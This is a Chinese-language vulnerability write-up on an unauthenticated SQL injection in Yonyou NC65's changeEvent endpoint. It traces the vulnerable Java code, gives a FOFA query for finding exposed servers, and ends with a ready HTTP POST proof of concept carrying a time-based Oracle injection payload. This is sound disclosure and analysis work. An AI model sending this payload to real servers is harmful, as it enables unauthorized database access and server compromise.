用友NC changeEvent SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。⽤友NC oacoSchedulerEvents/changeEvent 接⼝处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进 ⼀步利⽤可导致服务器失陷。

影响版本

NC65

fofa语法

icon_hash="1085941792" || app="用友-UFIDA-NC"

漏洞分析

SchedulerEventsAction 此前出现过 listUserSharingEvents sql注入漏洞,详情可以看这篇用友NC listUserSharingEvents SQL注入漏洞 ,而此次出现漏洞的方法变成了 changeEvent,先看下其实现逻辑吧

public void changeEvent() throws BusinessException, IOException {
        ISchedulerQueryService schedulerQueryService = (ISchedulerQueryService)NCLocator.getInstance().lookup(ISchedulerQueryService.class);
        ISchedulerManageService schedulerManageService = (ISchedulerManageService)NCLocator.getInstance().lookup(ISchedulerManageService.class);
        String pk_event = SchedulerUtils.encodeURI(this.getRequest().getParameter("event_id"));
        String startDate = SchedulerUtils.encodeURI(this.getRequest().getParameter("startDate"));
        String startDateOld = SchedulerUtils.encodeURI(this.getRequest().getParameter("startDate_old"));
        String endDate = SchedulerUtils.encodeURI(this.getRequest().getParameter("endDate"));
        String text = SchedulerUtils.encodeURI(this.getRequest().getParameter("text"));
        String event_ts = SchedulerUtils.encodeURI(this.getRequest().getParameter("event_ts"));
        String oper_type = SchedulerUtils.encodeURI(this.getRequest().getParameter("oper_type"));
        String event_type = SchedulerUtils.encodeURI(this.getRequest().getParameter("eventtype"));
        String source_id = SchedulerUtils.encodeURI(this.getRequest().getParameter("sourceid"));
        SchedulerEventJudger judger = new SchedulerEventJudger(schedulerQueryService);
        judger.getClass();
        SchedulerEventJudger.JudgedEvent judgerEvent = new SchedulerEventJudger.JudgedEvent(judger);
        judgerEvent.setPk_event(pk_event);
        judgerEvent.setStartDate(new UFDateTime(startDate));
        UFDateTime startDateOldDt = null;

        try {
            startDateOldDt = new UFDateTime(startDateOld);
        } catch (Exception var19) {
            startDateOldDt = judgerEvent.getStartDate();
        }

        judgerEvent.setStartDateOld(startDateOldDt);
        if (!StringUtils.isEmpty(event_ts) && !event_ts.equals("undefined")) {
            judgerEvent.setEvent_ts(new UFDateTime(event_ts));
        } else {
            judgerEvent.setEvent_ts(new UFDateTime());
        }

        judgerEvent.setEventLength(String.valueOf(startDateOldDt.getMillis() / 1000L));
        VersionStateEnum judgerState = judger.judgeCompatibleEvent(judgerEvent);

pid_event 被带入 judgeCompatibleEvent 方法中,看下其逻辑如何实现

public VersionStateEnum judgeCompatibleEvent(JudgedEvent judgedEvent) {
        if (judgedEvent == null) {
            return VersionStateEnum.EXCEPTION;
        } else {
            if (this.schedulerQueryService == null) {
                this.schedulerQueryService = (ISchedulerQueryService)NCLocator.getInstance().lookup(ISchedulerQueryService.class);
            }

            try {
                String eid = judgedEvent.getPk_event();
                if (eid.indexOf(35) > -1) {
                    String pid_event = eid.substring(0, eid.indexOf(35));
                    SQLParameter param = null;
                    SchedulerEventVO[] children = this.schedulerQueryService.getSchedulerEvents("pid_event='" + pid_event + "' and eventlength=" + judgedEvent.getEventLength(), param, true);
                    return children != null && children.length != 0 ? VersionStateEnum.NOT_LASTED : VersionStateEnum.LASTED;
                } else {
                    SchedulerEventVO eventvo = this.schedulerQueryService.getSchedulerEvent(eid);
                    if (eventvo == null) {
                        return VersionStateEnum.NOT_EXIST;
                    } else {

再看下 getSchedulerEvents 部分的sql语句处理如下

public SchedulerEventVO[] getScheduleEvents(String sql, SQLParameter param, boolean isWhere) throws DAOException {
        StringBuilder sqlSB = new StringBuilder();
        if (isWhere) {
            sqlSB.append("select ").append("alertrule,alertstarttime,alerttype,eventlength,eventstate,eventtype,isfullday,isrecurevent,pid_event,pk_event,pk_user,priority,recurenddate,recurrule,recurstartdate,sourceid,sourceuri,title,ts,recurtag,modifiedtime,modifier,creationtime,creator,dr,proxy,sourcetitle,sharescope").append(" from oaco_schedulerevent");
            sqlSB.append(" where ").append(sql);
        } else {
            sqlSB.append(sql);
        }

        return param == null ? (SchedulerEventVO[])super.executeQueryVOs(sqlSB.toString(), SchedulerEventVO.class) : (SchedulerEventVO[])super.executeQueryVOs(sqlSB.toString(), param, SchedulerEventVO.class);
    }

那么整体上 judgeCompatibleEvent 方法中的 SQL 查询拼接前面用户可控的参数 pid_event

  • pid_event 来自 judgedEvent.getPk_event()(即用户请求中的 event_id 参数),通过 substring 截取 # 前的部分。
  • judgedEvent.getEventLength() 的值由用户控制的 startDateOld 参数计算得出(startDateOldDt.getMillis() / 1000L)。

而 judgeCompatibleEvent 方法中的 else 分支处理部分 SchedulerEventVO eventvo = this.schedulerQueryService.getSchedulerEvent(eid); 最终是使用了预编译参数化查询,因此不存在SQL注入漏洞。

整体处理流程如下图所示

changeEvent 方法流程图

judgeCompatibleEvent 方法流程图

漏洞复现

漏洞利用需要条件

  1. 请求中需包含 event_id 参数(含 # 字符)。
  2. 其他参数(如 startDateOld)需满足类型要求(可伪造合法值如 2025-05-07 12:12:12)。
POST /portal/pt/oacoSchedulerEvents/changeEvent?pageId=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc65.mrxn.net

event_id=1'AND 1=dbms_pipe.receive_message('RDS',3)--+#+&startDate=2025-05-07 12:12:12&startDate_old=2025-05-06 12:12:12

成功延时 3 秒


手机扫码阅读

宏景人力资源管理系统 HrChangeInfoService SQL注入漏洞+XXE漏洞

用友NC /mp/view sql注入漏洞

评 论